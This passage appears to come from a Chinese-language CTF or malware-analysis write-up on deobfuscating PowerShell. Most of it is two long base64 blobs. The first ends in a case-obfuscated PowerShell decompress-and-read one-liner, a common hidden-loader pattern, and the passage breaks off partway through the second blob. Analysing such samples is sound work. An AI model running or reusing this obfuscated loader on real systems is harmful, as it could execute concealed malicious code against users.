88DDjOk3MVB9xdv20uU+qmY9UXb+otp94/i/aBxHFUccJnvvJfLkaty8+P9l6v+RlIe8WLq35aKgD8r6wzhtUR3tnzTcRHsX1d9wlfQDojbCgRra2eKT1Ix9smh+h+C2z/w54MuMH5lnJfdY8aXHyhCcPU/GPdHQtyDPntP6a/q7wPgoHJry/euAOeRrSj81e5yZdF/Gus/UJm+d9F/MZqHOezXvknE30S+o5i3Ddy8Tns/Plvk7d1935Hfs9NcezT13QqW9Jdor1PIPtdvfcva6+tvfk6RXhTgwUn815ls6h/Jd0HshjiT7/SfMrL119gtLdpc5eXSeveE1ihr9YNzdsxWl0F/bp0x8VrxvvUVS/kursfP4s/vPQQxAezjBVdlv4dvIch+6528H8T9J15jziZF0y63Sxr03zGYvrv9l6mN18qmDd6fwxN5b4TD39zuRFCw8nvxH3Wrxr9a9NXbLZD7JJd7qZ/1OE06qO0KQPLN3+4DkvXbgW+1yGPcz4HOlIqM9R+V36mAtZhLNd5udk5/XsuyH/AcdSus3zPETjn8Vz96TPhvodzrPqxZnpm3iMmp8brM9PvWvY5yvjeeIAjMOjnzO5njjn6zXXTyc/YepgZ98v+jX3O0jfzzrV0sfWdFHP02yaUzz2i+dn6tJIN8/1OOlPup6SdZ6tW2JeLqsnxbwd8pGYryWfE/op82ZX55tUXH/h/04cTPNNgvv43PctXnGzTtfkp2kOkfsoo3l3zXP9nGedeD7qraSffeR95FeoLjPsJNcziX8rnbqsfdzFy7I+jKpI8/wLJx+4Vvr4Xex3y+YDzHkB/cTDL1mvX1RHWFWPkx32PO6uuYfPet3r9avsv+L1a0yNv73T7Th1t3Tb0nYt+xr349e94/WZtmVc/2Nn9y3s10Ed3Je0rcefhzzCDbbo+hWuz+Ftb9tx+Pv16/jYev0ejYTH2h5m5/qK19fgjSxAX6/3cB1va9c73nkvx8Nc73n8xfH67//+X//7f/3zX//02++plRp7yL//9re//d/f/l3/7U///Osf/+Wf/qH99S8x/vV///lf/nq5/el48V//2v783/7TX/6mHO/7u98ut9/+9u8f/+Off/3n/9D+8rf/73jt7//LP/75v/32++/Hh4Tf/vTb3/zDv/xT/I//+L/+9f/8w69/Xv/usv3ddfvL3//P4z2///63/x8=' ) ,[Io.cOMpReSsiON.cOMPreSsIonMoDe]::dEcOmprESs )) , [tEXT.EncoDING]::aScII) ).reADTOeNd()

之后逆一下powershell

# 将您的Base64编码的密文替换为实际的密文字符串
$base64EncodedData = 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